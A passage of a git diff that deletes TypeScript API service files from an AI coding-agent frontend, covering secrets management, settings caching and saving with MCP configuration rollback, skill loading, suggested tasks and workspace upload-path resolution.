authMode: "session-api-key", - sessionApiKey, - timeoutSeconds: timeout + 10, - }); - return { - exit_code: output.exit_code ?? -1, - stdout: output.stdout ?? "", - stderr: output.stderr ?? "", - }; - } - - const result = await new RemoteWorkspace( - getAgentServerClientOptions({ conversationUrl, sessionApiKey }), - ).executeCommand(command, cwd, timeout); - return { - exit_code: result.exit_code, - stdout: result.stdout, - stderr: result.stderr, - }; - } - - static async downloadFile( - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - path: string, - ): Promise { - const active = getActiveBackend().backend; - - if (active.kind === "cloud" && conversationUrl) { - const blob = await callCloudProxy({ - backend: active, - method: "GET", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `/api/file/download?path=${encodeURIComponent(path)}`, - authMode: "session-api-key", - sessionApiKey, - responseType: "blob", - }); - return blob.arrayBuffer(); - } - - return new FileClient( - getAgentServerClientOptions({ conversationUrl, sessionApiKey }), - ).downloadFile(path); - } -} - -export default AgentServerRuntimeService; diff --git a/src/api/secrets-service.ts b/src/api/secrets-service.ts deleted file mode 100644 index e3a5d1d8e..000000000 --- a/src/api/secrets-service.ts +++ /dev/null @@ -1,162 +0,0 @@ -import { SettingsClient } from "@openhands/typescript-client/clients"; -import { isSdkHttpStatusError } from "./agent-server-compatibility"; -import { getActiveBackend } from "./backend-registry/active-store"; -import { - createCloudSecret, - deleteCloudSecret, - fetchCloudSecrets, - updateCloudSecret, -} from "./cloud/secrets-service.api"; -import { getAgentServerClientOptions } from "./agent-server-client-options"; -import { CustomSecretWithoutValue } from "./secrets-service.types"; - -/** - * Retry helper for API calls with exponential backoff. - */ -async function withRetry( - fn: () => Promise, - maxRetries: number = 3, - baseDelayMs: number = 500, -): Promise { - for (let attempt = 0; attempt < maxRetries; attempt += 1) { - try { - return await fn(); - } catch (error) { - if (attempt >= maxRetries - 1) { - throw error; - } - - const delay = baseDelayMs * 2 ** attempt; - - await new Promise((resolve) => { - setTimeout(resolve, delay); - }); - } - } - - throw new Error("Retry attempts exhausted"); -} - -export class SecretsService { - /** - * List all custom secrets (names and descriptions only, no values). - * Uses the agent-server API endpoint: GET /api/settings/secrets - * - * Note: The agent-server API doesn't support pagination or search filtering. - * All secrets are returned in a single response. - */ - static async getSecrets(): Promise { - try { - if (getActiveBackend().backend.kind === "cloud") { - return await withRetry(() => fetchCloudSecrets()); - } - const response = await withRetry(() => - new SettingsClient(getAgentServerClientOptions()).listSecrets(), - ); - return response.secrets.map((s) => ({ - name: s.name, - description: s.description, - })); - } catch (error) { - console.error("Failed to fetch secrets after retries:", error); - return []; - } - } - - /** - * Create or update a custom secret (upsert by name). - * Uses the agent-server API endpoint: PUT /api/settings/secrets - * - * @param name - Secret name (must start with letter, contain only letters/numbers/underscores, 1-64 chars) - * @param value - Secret value - * @param description - Optional description - * @throws Error if the API call fails after retries - */ - static async createSecret( - name: string, - value: string, - description?: string, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - await withRetry(() => createCloudSecret(name, value, description)); - return; - } - await withRetry(() => - new SettingsClient(getAgentServerClientOptions()).upsertSecret({ - name, - value, - description, - }), - ); - } - - /** - * Update a secret's name and/or description while preserving its value. - * The agent-server only exposes an upsert endpoint, so we fetch the - * existing value and re-upsert it under the updated name/description. - * - * @param secretToEdit - Existing secret name - * @param name - New (or same) secret name - * @param description - Optional new description - * @throws Error if the API call fails after retries - */ - static async updateSecret( - secretToEdit: string, - name: string, - description?: string, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - await withRetry(() => updateCloudSecret(secretToEdit, name, description)); - return; - } - - const client = new SettingsClient(getAgentServerClientOptions()); - const value = await withRetry(() => client.getSecret(secretToEdit)); - - await withRetry(() => - client.upsertSecret({ - name, - value, - description, - }), - ); - - if (name !== secretToEdit) { - await this.deleteSecret(secretToEdit); - } - } - - /** - * Delete a custom secret by name. - * Uses the agent-server API endpoint: DELETE /api/settings/secrets/{name} - * - * @param name - Secret name to delete - * @throws Error if the API call fails (except 404, which is treated as success) - */ - static async deleteSecret(name: string): Promise { - try { - if (getActiveBackend().backend.kind === "cloud") { - await withRetry(() => deleteCloudSecret(name)); - return; - } - await withRetry(() => - new SettingsClient(getAgentServerClientOptions()).deleteSecret(name), - ); - } catch (error) { - // 404 means secret doesn't exist - treat as successful deletion. - // Both the SDK's HttpError (status on the error itself) and - // axios-style errors (status under `response`) count. - if ( - isSdkHttpStatusError(error, 404) || - (error && - typeof error === "object" && - "response" in error && - (error as { response?: { status?: number } }).response?.status === - 404) - ) { - return; - } - throw error; - } - } -} diff --git a/src/api/secrets-service.types.ts b/src/api/secrets-service.types.ts deleted file mode 100644 index 01118269e..000000000 --- a/src/api/secrets-service.types.ts +++ /dev/null @@ -1,15 +0,0 @@ -/** - * Custom secret with name, value, and optional description. - * Used for creating/updating secrets via PUT /api/settings/secrets. - */ -export type CustomSecret = { - name: string; - value: string; - description?: string; -}; - -/** - * Custom secret metadata without the secret value. - * Used for listing secrets via GET /api/settings/secrets. - */ -export type CustomSecretWithoutValue = Omit; diff --git a/src/api/settings-service/settings-service.api.ts b/src/api/settings-service/settings-service.api.ts deleted file mode 100644 index 719c658a5..000000000 --- a/src/api/settings-service/settings-service.api.ts +++ /dev/null @@ -1,724 +0,0 @@ -import { SettingsClient } from "@openhands/typescript-client/clients"; -import { DEFAULT_SETTINGS } from "#/services/settings"; -import { Settings, SettingsSchema, SettingsValue } from "#/types/settings"; -import { - getSdkMcpServerMap, - hasRedactedMcpSecretLeaf, - stringRecord, -} from "#/utils/mcp-config"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { - fetchCloudConversationSettingsSchema, - fetchCloudSettings, - fetchCloudSettingsSchema, - saveCloudSettings, -} from "../cloud/settings-service.api"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; - -/** - * Fields the agent-server stores under `misc_settings.app_preferences` (see - * SDK `openhands.sdk.settings.AppPreferences`). Mirrored here as a flat - * partial of Settings so the rest of the frontend can keep treating them as - * top-level keys (`settings.language`, `settings.disabled_skills`, …). - */ -export const APP_PREFERENCE_FIELDS = [ - "language", - "user_consents_to_analytics", - "enable_sound_notifications", - "git_user_name", - "git_user_email", - "title_llm_profile", - "disabled_skills", -] as const; - -export type AppPreferenceField = (typeof APP_PREFERENCE_FIELDS)[number]; - -export type AppPreferences = Partial>; - -/** - * Container for frontend-owned settings the agent doesn't interpret. - * Mirrors the SDK `MiscSettings` model introduced in agent-server 1.27. - * - * Single nested category today (`app_preferences`). Adding a future - * category (e.g. `ui_preferences`) is a non-breaking change for the wire - * shape — it just adds another optional sibling here. - */ -export interface MiscSettings { - app_preferences?: AppPreferences; -} - -/** - * Response from GET /api/settings - * Mirrors the SettingsResponse model in the agent server. - */ -export interface SettingsApiResponse { - agent_settings: Record; - conversation_settings: Record; - llm_api_key_is_set: boolean; - /** - * Frontend-owned settings the agent does not interpret (currently just - * `app_preferences`). Added in agent-server 1.27; earlier servers omit - * the field entirely, in which case the frontend falls back to defaults. - */ - misc_settings?: MiscSettings; -} - -/** - * Request payload for PATCH /api/settings. - * - * `misc_settings_diff` is deep-merged into the persisted `misc_settings` - * block, matching the semantics of `agent_settings_diff` / - * `conversation_settings_diff`. A partial diff like - * `{ app_preferences: { language: "fr" } }` updates only `language` and - * leaves every other `app_preferences` field alone. Lists - * (`disabled_skills`) are replaced wholesale rather than merged. - */ -export interface SettingsUpdateRequest { - agent_settings_diff?: Record; - conversation_settings_diff?: Record; - misc_settings_diff?: MiscSettings; - // Permit additional keys so this stays assignable to the underlying - // typescript-client SDK type, which uses `[key: string]: unknown` for - // forward compatibility. - [key: string]: unknown; -} - -const APP_PREFERENCE_FIELD_SET: ReadonlySet = new Set( - APP_PREFERENCE_FIELDS, -); - -const isAppPreferenceField = (key: string): key is AppPreferenceField => - APP_PREFERENCE_FIELD_SET.has(key); - -/** - * Split known app-preference keys out of a save payload so callers can - * route them through `misc_settings_diff.app_preferences` (local) or as - * flat top-level keys (cloud), while the remaining fields flow into the - * `agent_settings_diff` / `conversation_settings_diff` branches. - */ -const extractAppPreferences = ( - input: Record, -): { extracted: AppPreferences; rest: Record } => { - const extracted: AppPreferences = {}; - const rest: Record = {}; - for (const [key, value] of Object.entries(input)) { - if (isAppPreferenceField(key)) { - (extracted as Record)[key] = value; - } else { - rest[key] = value; - } - } - return { extracted, rest }; -}; - -/** - * Secret exposure mode for X-Expose-Secrets header. - * - * - undefined: Returns redacted secrets ("**********") - * - "encrypted": Returns cipher-encrypted values (safe for frontend to round-trip) - * - "plaintext": Returns raw secret values (backend use only!) - */ -export type ExposeSecretsMode = "encrypted" | "plaintext" | undefined; - -const deepClone = (value: T): T => JSON.parse(JSON.stringify(value)) as T; - -const mergeRecords = ( - base: Record | null | undefined, - next: Record | null | undefined, -) => ({ ...(base ?? {}), ...(next ?? {}) }); - -/** - * Retry helper for API calls with exponential backoff. - */ -async function withRetry( - fn: () => Promise, - maxRetries: number = 3, - baseDelayMs: number = 500, -): Promise { - for (let attempt = 0; attempt < maxRetries; attempt += 1) { - try { - return await fn(); - } catch (error) { - if (attempt >= maxRetries - 1) { - throw error; - } - - const delay = baseDelayMs * 2 ** attempt; - - await new Promise((resolve) => { - setTimeout(resolve, delay); - }); - } - } - - throw new Error("Retry attempts exhausted"); -} - -/** - * In-memory cache for settings to avoid repeated network calls. - * The cache is invalidated on save operations. - */ -let settingsCache: { - /** Settings with redacted secrets for display */ - redacted: SettingsApiResponse | null; - /** Settings with encrypted secrets for conversation start */ - encrypted: SettingsApiResponse | null; - /** Timestamp when the cache was last populated */ - timestamp: number; -} = { - redacted: null, - encrypted: null, - timestamp: 0, -}; - -const CACHE_TTL_MS = 5 * 60 * 1000; // 5 minutes - -const isCacheValid = () => Date.now() - settingsCache.timestamp < CACHE_TTL_MS; - -const clearCache = () => { - settingsCache = { redacted: null, encrypted: null, timestamp: 0 }; -}; - -const isRecord = (value: unknown): value is Record => - !!value && typeof value === "object" && !Array.isArray(value); - -const basicAuthHeader = (username: string, password: string): string => { - const token = btoa(`${username}:${password}`); - return `Basic ${token}`; -}; - -const headersFromMcpAuth = ( - auth: Record, -): Record | null => { - switch (auth.strategy) { - case "none": - return {}; - case "api_key": { - if (typeof auth.value !== "string" || !auth.value) return null; - const header = - typeof auth.header_name === "string" && auth.header_name - ? auth.header_name - : "Authorization"; - const value = - header === "Authorization" ? `Bearer ${auth.value}` : auth.value; - return { [header]: value }; - } - case "bearer": - if (typeof auth.value !== "string" || !auth.value) return null; - return { Authorization: `Bearer ${auth.value}` }; - case "basic": - if ( - typeof auth.username !== "string" || - typeof auth.password !== "string" - ) { - return null; - } - return { Authorization: basicAuthHeader(auth.username, auth.password) }; - case "header": - return stringRecord(auth.headers) ?? {}; - case "oauth2": { - const tokens = isRecord(auth.state) ? auth.state.tokens : undefined; - if (!isRecord(tokens) || typeof tokens.access_token !== "string") { - return null; - } - return { Authorization: `Bearer ${tokens.access_token}` }; - } - default: - return null; - } -}; - -const cloudCompatibleMcpConfig = (value: unknown): unknown => { - if (!isRecord(value)) return value; - - const hasWrapper = isRecord(value.mcpServers); - const serverMap: Record = hasWrapper - ? (value.mcpServers as Record) - : value; - - const converted = Object.fromEntries( - Object.entries(serverMap).map(([name, server]) => { - if (!isRecord(server) || !isRecord(server.auth)) return [name, server]; - - const authHeaders = headersFromMcpAuth(server.auth); - if (authHeaders === null) return [name, server]; - - const nextServer = { ...server }; - const existingHeaders = stringRecord(server.headers) ?? {}; - const mergedHeaders = { ...existingHeaders, ...authHeaders }; - delete nextServer.auth; - if (Object.keys(mergedHeaders).length > 0) { - nextServer.headers = mergedHeaders; - } else { - delete nextServer.headers; - } - return [name, nextServer]; - }), - ); - - return hasWrapper ? { ...value, mcpServers: converted } : converted; -}; - -const hasRedactedMcpSecrets = (mcpConfig: unknown): boolean => { - const servers = getSdkMcpServerMap(mcpConfig); - if (!servers) return false; - return Object.values(servers).some( - (server) => - hasRedactedMcpSecretLeaf(isRecord(server) ? server.auth : undefined) || - hasRedactedMcpSecretLeaf(isRecord(server) ? server.headers : undefined) || - hasRedactedMcpSecretLeaf(isRecord(server) ? server.env : undefined), - ); -}; - -const removesMcpServer = (previous: unknown, next: unknown): boolean => { - const previousServers = getSdkMcpServerMap(previous); - const nextServers = getSdkMcpServerMap(next); - if (!previousServers || !nextServers) return false; - return Object.keys(previousServers).some((name) => !(name in nextServers)); -}; - -/** - * Transform API response into Settings object with derived fields. - */ -const transformApiResponse = ( - response: SettingsApiResponse, -): Partial => { - const agentSettings = response.agent_settings ?? {}; - const conversationSettings = response.conversation_settings ?? {}; - - const partial: Partial = { - agent_settings: agentSettings, - conversation_settings: conversationSettings, - llm_api_key_set: response.llm_api_key_is_set, - }; - - // App-level user preferences come back nested under - // `misc_settings.app_preferences` from the local agent-server (added in - // 1.27, restructured into the `misc_settings` container in the follow-up - // refactor). Hoist them onto the flat Settings shape the rest of the - // frontend already speaks. Older servers omit the `misc_settings` field - // entirely; the migration helper invoked from `getSettings` promotes any - // leftover localStorage values to the server on first run, so the omitted - // case just falls back to defaults. - const prefs = response.misc_settings?.app_preferences; - if (prefs) { - for (const key of APP_PREFERENCE_FIELDS) { - const value = prefs[key]; - if (value !== undefined) { - (partial as Record)[key] = value; - } - } - } - - return partial; -}; - -/** - * Sync derived settings fields from agent_settings and conversation_settings. - * This ensures backward compatibility with code that reads top-level fields. - */ -const syncDerivedSettings = (settings: Partial): Settings => { - const agentSettings = mergeRecords( - DEFAULT_SETTINGS.agent_settings ?? {}, - settings.agent_settings ?? {}, - ); - const conversationSettings = mergeRecords( - DEFAULT_SETTINGS.conversation_settings ?? {}, - settings.conversation_settings ?? {}, - ); - - const merged = { - ...deepClone(DEFAULT_SETTINGS), - ...settings, - provider_tokens_set: { - ...(DEFAULT_SETTINGS.provider_tokens_set ?? {}), - ...(settings.provider_tokens_set ?? {}), - }, - agent_settings: agentSettings, - conversation_settings: conversationSettings, - } as Settings; - - const llm = agentSettings.llm as Record | undefined; - const condenser = agentSettings.condenser as - | Record - | undefined; - - if (typeof agentSettings.agent === "string") { - merged.agent = agentSettings.agent; - } - if (typeof llm?.model === "string" && llm.model.length > 0) { - merged.llm_model = llm.model; - } - if (typeof llm?.base_url === "string") { - merged.llm_base_url = llm.base_url; - } - // Note: api_key may be redacted ("**********") when fetched without expose header - // We don't sync it to top-level llm_api_key to avoid overwriting with redacted value - if (typeof condenser?.enabled === "boolean") { - merged.enable_default_condenser = condenser.enabled; - } - if (typeof condenser?.max_size === "number") { - merged.condenser_max_size = condenser.max_size; - } - if (typeof conversationSettings.confirmation_mode === "boolean") { - merged.confirmation_mode = conversationSettings.confirmation_mode; - } - if ( - typeof conversationSettings.security_analyzer === "string" || - conversationSettings.security_analyzer === null - ) { - merged.security_analyzer = conversationSettings.security_analyzer as - | string - | null; - } - if (typeof conversationSettings.max_iterations === "number") { - merged.max_iterations = conversationSettings.max_iterations; - } - - merged.search_api_key_set = !!merged.search_api_key; - - return merged; -}; - -class SettingsService { - /** - * Fetch settings from the agent server API with retry logic. - * - * @param exposeSecrets - Controls how secrets are returned: - * - undefined: Secrets are redacted ("**********") - safe for display - * - "encrypted": Secrets are cipher-encrypted - safe for round-trip to start conversation - * - "plaintext": Raw secrets - DO NOT USE from frontend - */ - static async fetchSettingsFromApi( - exposeSecrets?: ExposeSecretsMode, - ): Promise { - return withRetry(() => - new SettingsClient(getAgentServerClientOptions()).getSettings({ - exposeSecrets, - }), - ) as Promise; - } - - /** - * Get settings for display (secrets are redacted). - * Uses in-memory cache for performance. - */ - static async getSettings(): Promise { - // Cloud uses a different settings shape (flat top-level fields - // including provider_tokens_set, llm_model, etc.). Branch out before - // touching the local-only cache: cloud responses bypass the local - // SettingsApiResponse shape and feed straight into syncDerivedSettings - // so cloud-native fields like provider_tokens_set reach the GUI's - // useUserProviders → useAppInstallations → useGitRepositories chain. - if (getActiveBackend().backend.kind === "cloud") { - try { - const cloud = await withRetry(() => fetchCloudSettings()); - return syncDerivedSettings(cloud); - } catch (error) { - console.warn("Failed to fetch cloud settings, using defaults:", error); - return syncDerivedSettings({}); - } - } - - // Check cache first - if (isCacheValid() && settingsCache.redacted) { - return syncDerivedSettings(transformApiResponse(settingsCache.redacted)); - } - - try { - const response = await this.fetchSettingsFromApi(); - settingsCache.redacted = response; - settingsCache.timestamp = Date.now(); - return syncDerivedSettings(transformApiResponse(response)); - } catch (error) { - // If API fails, return defaults - console.warn("Failed to fetch settings from API, using defaults:", error); - return syncDerivedSettings({}); - } - } - - /** - * Get settings with encrypted secrets for starting conversations. - * The encrypted secrets can be passed to the start conversation API - * with secrets_encrypted=true for server-side decryption. - * - * @throws Error if encrypted settings cannot be fetched - conversations - * should not start with broken/redacted credentials. - */ - static async getSettingsForConversation(): Promise<{ - agentSettings: Record; - conversationSettings: Record; - secretsEncrypted: boolean; - }> { - // Check cache first - if (isCacheValid() && settingsCache.encrypted) { - return { - agentSettings: settingsCache.encrypted.agent_settings, - conversationSettings: settingsCache.encrypted.conversation_settings, - secretsEncrypted: true, - }; - } - - // Fetch encrypted settings - this MUST succeed for conversations to work. - // Do not fall back to redacted settings as that would cause auth failures. - const response = await this.fetchSettingsFromApi("encrypted"); - settingsCache.encrypted = response; - if (!settingsCache.timestamp) { - settingsCache.timestamp = Date.now(); - } - return { - agentSettings: response.agent_settings, - conversationSettings: response.conversation_settings, - secretsEncrypted: true, - }; - } - - static async getSettingsSchema(): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return (await fetchCloudSettingsSchema()) as SettingsSchema; - } - return (await new SettingsClient( - getAgentServerClientOptions(), - ).getAgentSchema()) as SettingsSchema; - } - - static async getConversationSettingsSchema(): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return (await fetchCloudConversationSettingsSchema()) as SettingsSchema; - } - return (await new SettingsClient( - getAgentServerClientOptions(), - ).getConversationSchema()) as SettingsSchema; - } - - /** - * Save settings to the agent server API. - * Uses PATCH for incremental updates. - */ - static async saveSettings( - settings: Partial & Record, - ): Promise { - // Split app-level user-preference fields (language, git identity, sound - // notifications, analytics consent, disabled_skills) off and route them - // through `misc_settings_diff.app_preferences` (local) or as flat - // top-level keys (cloud). The local agent-server stores them under - // `PersistedSettings.misc_settings.app_preferences`; the cloud accepts - // them as flat keys on `POST /api/v1/settings`. - const { extracted: appPreferences, rest } = extractAppPreferences( - settings as Record, - ); - const hasAppPreferences = Object.keys(appPreferences).length > 0; - - const payload: SettingsUpdateRequest = {}; - - // Extract agent_settings_diff - const agentSettingsDiff = rest.agent_settings_diff as - | Record - | undefined; - if (agentSettingsDiff && Object.keys(agentSettingsDiff).length > 0) { - payload.agent_settings_diff = agentSettingsDiff; - } - - // Extract conversation_settings_diff - const conversationSettingsDiff = rest.conversation_settings_diff as - | Record - | undefined; - if ( - conversationSettingsDiff && - Object.keys(conversationSettingsDiff).length > 0 - ) { - payload.conversation_settings_diff = conversationSettingsDiff; - } - - if (hasAppPreferences) { - payload.misc_settings_diff = { app_preferences: appPreferences }; - } - - const isCloud = getActiveBackend().backend.kind === "cloud"; - - // The backend applies ``agent_settings_diff`` by deep-merging it into the - // existing ``agent_settings`` dict (see SDK - // ``openhands.agent_server.persistence.models._deep_merge``). That works - // for scalar fields but is wrong for ``mcp_config``, which is - // a name-keyed map: a diff that omits a server cannot remove it (stale - // key stays), and a diff whose key indices shift (e.g. after deleting - // index 0, the second server is renumbered) leaves the original keys - // behind as duplicates pointing to the wrong server config. - // - // The only way to make ``mcp_config`` behave like a replace through this - // API is to first null it out — ``null`` is not a dict, so deep-merge - // takes the else branch and sets the field to ``None`` outright — and - // then send the new value in a follow-up call. We do this for every - // ``mcp_config`` write, including adds (the wasted round-trip is - // negligible for this user action and avoids divergent code paths). - const agentDiff = payload.agent_settings_diff; - // Send a pre-clear PATCH when the diff sets ``mcp_config`` to a non-null - // value. A second PATCH below then writes the new value. Skipping the - // pre-clear when the caller is already clearing (``mcp_config: null``) - // avoids a pointless duplicate request. - const needsMcpPreClear = - !!agentDiff && "mcp_config" in agentDiff && agentDiff.mcp_config !== null; - - // The pre-clear is destructive: if the follow-up write fails after the - // clear succeeds, the user's MCP config is left empty. Snapshot the - // previous value (in raw SDK-native shape, NOT the GUI's parsed MCPConfig) - // before pre-clearing so we can attempt a best-effort rollback. The - // original write error is always re-thrown to the caller regardless - // of rollback success — the GUI's react-query mutations surface that - // as an error toast so the user knows to retry. - // - // Snapshot must be the SDK-native server map because that is what the - // backend expects on the rollback PATCH. - // ``SettingsService.getSettings`` returns a GUI Settings object whose - // ``mcp_config`` is typed as the parsed frontend MCPConfig and - // defaults to empty arrays when nothing is installed, so it is not - // suitable for round-tripping back to the backend. - let mcpConfigSnapshot: unknown = undefined; - if (needsMcpPreClear) { - try { - if (isCloud) { - const raw = (await fetchCloudSettings()) as { - agent_settings?: { mcp_config?: unknown }; - }; - mcpConfigSnapshot = raw?.agent_settings?.mcp_config; - } else { - const raw = (await SettingsService.fetchSettingsFromApi()) as { - agent_settings?: { mcp_config?: unknown }; - }; - mcpConfigSnapshot = raw?.agent_settings?.mcp_config; - } - } catch { - // Snapshot failed (network blip, etc.). Continue without rollback - // ability — the original write error will still surface. - } - } - - // Cloud settings may redact MCP env/header/auth secrets without an - // encrypted exposure mode. A pre-clear before a non-delete update can - // permanently erase unchanged secrets; for updates that keep all existing - // server keys, rely on the backend deep-merge to preserve redacted leaves - // while applying edited fields and newly typed credentials. - const shouldUseCloudMergePatchForRedactedMcpSecrets = - isCloud && - needsMcpPreClear && - hasRedactedMcpSecrets(mcpConfigSnapshot) && - !removesMcpServer(mcpConfigSnapshot, agentDiff?.mcp_config); - const shouldPreClearMcpConfig = - needsMcpPreClear && !shouldUseCloudMergePatchForRedactedMcpSecrets; - - if (isCloud) { - const hasCloudWork = - !!payload.agent_settings_diff || - !!payload.conversation_settings_diff || - hasAppPreferences; - if (!hasCloudWork) { - return true; - } - if (shouldPreClearMcpConfig) { - await withRetry(() => - saveCloudSettings({ - agent_settings_diff: { mcp_config: null }, - }), - ); - } - // Build the cloud payload from the same diffs, but as a separate - // object so undefined keys don't appear in the call (saveCloudSettings - // is called from tests with an exact-shape assertion). - const cloudPayload: Parameters[0] = {}; - if (payload.agent_settings_diff) { - cloudPayload.agent_settings_diff = { ...payload.agent_settings_diff }; - if ("mcp_config" in cloudPayload.agent_settings_diff) { - cloudPayload.agent_settings_diff.mcp_config = - cloudCompatibleMcpConfig( - cloudPayload.agent_settings_diff.mcp_config, - ) as SettingsValue; - } - } - if (payload.conversation_settings_diff) { - cloudPayload.conversation_settings_diff = - payload.conversation_settings_diff; - } - if (hasAppPreferences) { - // The cloud `POST /api/v1/settings` takes app-preference fields as - // flat top-level keys (not under `app_preferences_diff`). - // `saveCloudSettings` re-flattens them onto the request body. - cloudPayload.app_preferences = appPreferences; - } - try { - await withRetry(() => saveCloudSettings(cloudPayload)); - } catch (err) { - if (shouldPreClearMcpConfig && mcpConfigSnapshot) { - // Best-effort rollback. We deliberately do not wrap in withRetry: - // the user's session is already in a degraded state and we want - // to surface the original error promptly. Swallowing the restore - // error preserves the original failure context for the caller. - try { - await saveCloudSettings({ - agent_settings_diff: { - mcp_config: mcpConfigSnapshot as SettingsValue, - }, - }); - } catch { - // Rollback failed; the original error takes precedence. - } - } - throw err; - } - } else { - // The local agent-server PATCH /api/settings requires at least one of - // the three diff fields. Skip the request entirely if nothing changed. - const hasLocalDiffs = - !!payload.agent_settings_diff || - !!payload.conversation_settings_diff || - !!payload.misc_settings_diff; - if (!hasLocalDiffs) { - return true; - } - if (shouldPreClearMcpConfig) { - await withRetry(() => - new SettingsClient(getAgentServerClientOptions()).updateSettings({ - agent_settings_diff: { mcp_config: null }, - }), - ); - } - try { - await withRetry(() => - new SettingsClient(getAgentServerClientOptions()).updateSettings( - payload, - ), - ); - } catch (err) { - if (shouldPreClearMcpConfig && mcpConfigSnapshot) { - // See cloud branch above for rationale. - try { - await new SettingsClient( - getAgentServerClientOptions(), - ).updateSettings({ - agent_settings_diff: { - mcp_config: mcpConfigSnapshot as SettingsValue, - }, - }); - } catch { - // Rollback failed; the original error takes precedence. - } - } - throw err; - } - } - - // Invalidate cache after successful save - clearCache(); - - return true; - } - - /** - * Invalidate the settings cache. - * Call this when settings may have changed externally. - */ - static invalidateCache(): void { - clearCache(); - } -} - -export default SettingsService; diff --git a/src/api/skills-service.ts b/src/api/skills-service.ts deleted file mode 100644 index f2b9fa729..000000000 --- a/src/api/skills-service.ts +++ /dev/null @@ -1,66 +0,0 @@ -import { SkillsClient } from "@openhands/typescript-client/clients"; -import { - SKILLS_CATALOG, - type SkillCatalogEntry, -} from "@openhands/extensions/skills"; -import { SkillInfo } from "#/types/settings"; -import { getAgentServerWorkingDir } from "./agent-server-config"; -import { getActiveBackend } from "./backend-registry/active-store"; -import { fetchCloudSkills } from "./cloud/skills-service.api"; -import { getAgentServerClientOptions } from "./agent-server-client-options"; - -function catalogEntryToSkillInfo(entry: SkillCatalogEntry): SkillInfo { - return { - name: entry.name, - type: "knowledge", - source: "public", - description: entry.description, - triggers: entry.triggers, - content: entry.content, - license: entry.license ?? null, - compatibility: entry.compatibility ?? null, - }; -} - -/** - * Public skills loaded from the `@openhands/extensions` npm package. - * - * This is an **immutable build-time snapshot**: the catalog is baked into the - * bundle at `npm run build` / `vite build` time and does not change at - * runtime. Updating the catalog requires bumping the `@openhands/extensions` - * dependency and rebuilding. - */ -const PUBLIC_SKILLS: SkillInfo[] = SKILLS_CATALOG.map(catalogEntryToSkillInfo); - -class SkillsService { - static async getSkills(projectDir?: string): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return fetchCloudSkills(); - } - - // Public skills come from the bundled @openhands/extensions npm package — - // no agent-server round-trip or GitHub fetch needed. Only ask the agent- - // server for user and project skills so local .agents/skills/ content is - // still picked up. - let localSkills: SkillInfo[] = []; - try { - const response = await new SkillsClient( - getAgentServerClientOptions(), - ).getSkills({ - load_public: false, - load_user: true, - load_project: true, - load_org: false, - project_dir: projectDir ?? getAgentServerWorkingDir(), - }); - localSkills = (response.skills ?? []) as SkillInfo[]; - } catch { - // Agent-server may not support the skills endpoint or may be - // unreachable; fall back to the bundled public catalog alone. - } - - return [...localSkills, ...PUBLIC_SKILLS]; - } -} - -export default SkillsService; diff --git a/src/api/suggestions-service/suggestions-service.api.ts b/src/api/suggestions-service/suggestions-service.api.ts deleted file mode 100644 index 16e70c26c..000000000 --- a/src/api/suggestions-service/suggestions-service.api.ts +++ /dev/null @@ -1,23 +0,0 @@ -import { SuggestedTask } from "#/utils/types"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { getCloudSuggestedTasks } from "../cloud/suggestions-service.api"; - -export class SuggestionsService { - /** - * Aggregate suggested tasks for the calling user. Cloud exposes - * `/api/v1/git/suggested-tasks/search` which the proxy forwards to. - * Local agent-server has no equivalent endpoint, so we return an - * empty list there — the home page's `` already - * renders nothing when the active backend is local. - */ - static async getSuggestedTasks( - pageId?: string, - limit: number = 30, - ): Promise { - if (getActiveBackend().backend.kind !== "cloud") { - return []; - } - const page = await getCloudSuggestedTasks({ pageId, limit }); - return page.items; - } -} diff --git a/src/api/workspace-upload-path.ts b/src/api/workspace-upload-path.ts deleted file mode 100644 index 7708af21a..000000000 --- a/src/api/workspace-upload-path.ts +++ /dev/null @@ -1,99 +0,0 @@ -// @spec WUP-001 — Resolve relative working dirs against /api/file/home -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { getAgentServerWorkingDir } from "#/api/agent-server-config"; -import { - type AgentServerClientOverrides, - getAgentServerClientOptions, -} from "#/api/agent-server-client-options"; -import { resolveAbsoluteAgentServerPath } from "#/api/agent-server-home"; -import { getStoredConversationMetadata } from "#/api/conversation-metadata-store"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; - -const UUID_PATTERN = - /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i; - -export function getSafeUploadFileName(fileName: string): string { - const parts = fileName.split(/[\\/]+/).filter(Boolean); - const safeName = parts[parts.length - 1]; - - if (!safeName || safeName === "." || safeName === "..") { - throw new Error("Invalid file name"); - } - - return safeName; -} - -/** - * Resolve `workingDir` to an absolute path the agent-server's file APIs - * accept. Relative paths are joined against `/api/file/home` (cached per - * backend); absolute paths pass through. - */ -export async function resolveAbsoluteWorkspacePath( - workingDir: string, - overrides: AgentServerClientOverrides = {}, -): Promise { - return resolveAbsoluteAgentServerPath(workingDir, overrides); -} - -/** - * Build the absolute destination path for a file upload, resolving the - * working-dir leg via {@link resolveAbsoluteWorkspacePath}. - */ -export async function buildWorkspaceUploadPath( - fileName: string, - workingDir: string, - overrides: AgentServerClientOverrides = {}, -): Promise { - const safeName = getSafeUploadFileName(fileName); - const absoluteDir = await resolveAbsoluteWorkspacePath(workingDir, overrides); - return `${absoluteDir.replace(/[/\\]+$/, "")}/${safeName}`; -} - -/** - * Resolve the working directory for a file upload into a conversation's - * workspace. - * - * **Returns the raw working dir string** — which may be relative (e.g. - * `workspace/project/`) when the default `DEFAULT_WORKING_DIR` is in - * use. Callers that need an actual filesystem-absolute path (e.g. to pass to - * the agent-server's `/api/file/upload` endpoint) **must** funnel this result - * through {@link buildWorkspaceUploadPath}, which calls - * {@link resolveAbsoluteWorkspacePath} to anchor any relative segment against - * the agent-server's home directory. - * - * Why not resolve here? Because this function is also called by cloud-runtime - * upload paths where the overrides (conversationUrl, sessionApiKey) aren't - * available until {@link uploadFilesToConversation} assembles them. Keeping - * the resolution step in {@link buildWorkspaceUploadPath} means both the - * local and cloud legs share a single resolution point with the correct - * override context. - 